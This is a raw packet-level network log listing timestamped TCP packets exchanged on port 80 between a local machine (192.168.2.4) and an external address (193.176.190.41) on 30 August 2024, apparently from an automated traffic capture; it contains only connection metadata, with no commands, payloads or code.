Aug 30, 2024 18:13:03.555152893 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555160999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555170059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555181026 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555183887 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.555191040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555202007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555212021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555217981 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.555223942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555236101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555239916 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.555258989 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.555274963 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.555669069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555680037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555689096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555699110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555707932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555712938 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.555720091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555730104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555742979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.555757046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555763960 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.555768967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555779934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.555799007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.555824041 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556133032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556143999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556153059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556169033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556179047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556179047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556190014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556195021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556211948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556221008 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556222916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556236029 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556246042 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556260109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556286097 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556706905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556718111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556739092 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556747913 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556757927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556762934 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556767941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556777954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556787968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556797981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556798935 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556811094 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556821108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556832075 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556833029 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556842089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556852102 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556853056 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556864023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556870937 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556874990 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556885004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556895018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.556896925 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556917906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.556936026 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.557663918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557676077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557684898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557694912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557703972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557708979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.557715893 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557723999 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.557727098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557739019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557742119 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.557749987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557760000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557770014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557770967 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.557780981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557792902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557801962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557806015 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.557813883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557823896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557832003 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.557835102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557842970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.557847023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.557868004 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.557887077 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.558607101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558619022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558628082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558638096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558645964 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558651924 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.558655977 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558665991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.558667898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558680058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558689117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558698893 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558702946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.558710098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558720112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558725119 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.558732986 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558739901 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.558747053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558758020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.558758020 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.558784962 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.558808088 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.640134096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640163898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640181065 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640206099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.640237093 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.640288115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640300035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640311003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640321970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640330076 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.640333891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640363932 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.640388966 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.640666962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640678883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640687943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640698910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640710115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640712976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.640722036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640747070 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.640758038 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.640772104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640811920 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.640892982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640903950 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640914917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640924931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640935898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640935898 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.640950918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640963078 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640969038 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.640975952 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.640978098 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.641012907 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.641201973 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.641222954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.641235113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.641247988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.641252041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.641263008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.641273022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.641279936 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.641284943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.641307116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.641331911 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.641887903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.641937971 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.641969919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.641983032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642011881 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642024040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642059088 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642074108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642085075 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642096043 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642107964 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642117977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642148972 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642317057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642329931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642339945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642350912 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642359018 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642370939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642380953 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642405033 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642503023 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642515898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642544031 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642568111 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642667055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642678022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642688036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642698050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642709970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642710924 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642720938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642738104 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642739058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642751932 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642752886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642781019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642801046 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.642976046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.642993927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643003941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643013954 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643023968 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.643038988 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.643048048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.643117905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643153906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.643191099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643203020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643213987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643224001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643234968 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.643263102 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.643460035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643471956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643481970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643491983 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643502951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643505096 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.643513918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643526077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643536091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643541098 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.643548965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643563986 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.643582106 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.643856049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.643939972 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.644064903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644076109 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644084930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644094944 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644105911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644117117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644126892 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644144058 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644155025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644165039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644176006 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644186020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644196987 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644206047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644216061 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644227028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644237041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.644262075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.644318104 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.668668032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.668689013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.668699980 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.668821096 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.668821096 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.668840885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.668852091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.668862104 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.668874025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.668885946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.668905020 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.668931961 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.669128895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669140100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669154882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669164896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669174910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669184923 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669195890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669321060 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.669509888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669522047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669539928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669549942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669560909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669563055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.669572115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669581890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669586897 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.669594049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669605017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669605017 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.669615984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669626951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.669631958 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.669667959 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.670016050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.670028925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.670059919 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.670079947 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.726922035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727004051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727015972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727015972 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.727046967 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.727061033 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.727150917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727163076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727174044 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727184057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727195978 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727195978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.727209091 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.727252007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.727421999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727435112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727444887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727461100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727471113 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727473974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.727483034 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727493048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.727523088 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.727838993 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727852106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727861881 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.727896929 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.727912903 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.728008032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728019953 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728029966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728040934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728049994 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.728070974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.728099108 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:03.728286028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728297949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728308916 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:03.728319883 CEST	80	49733	193.176.190.41	192.168.2.4
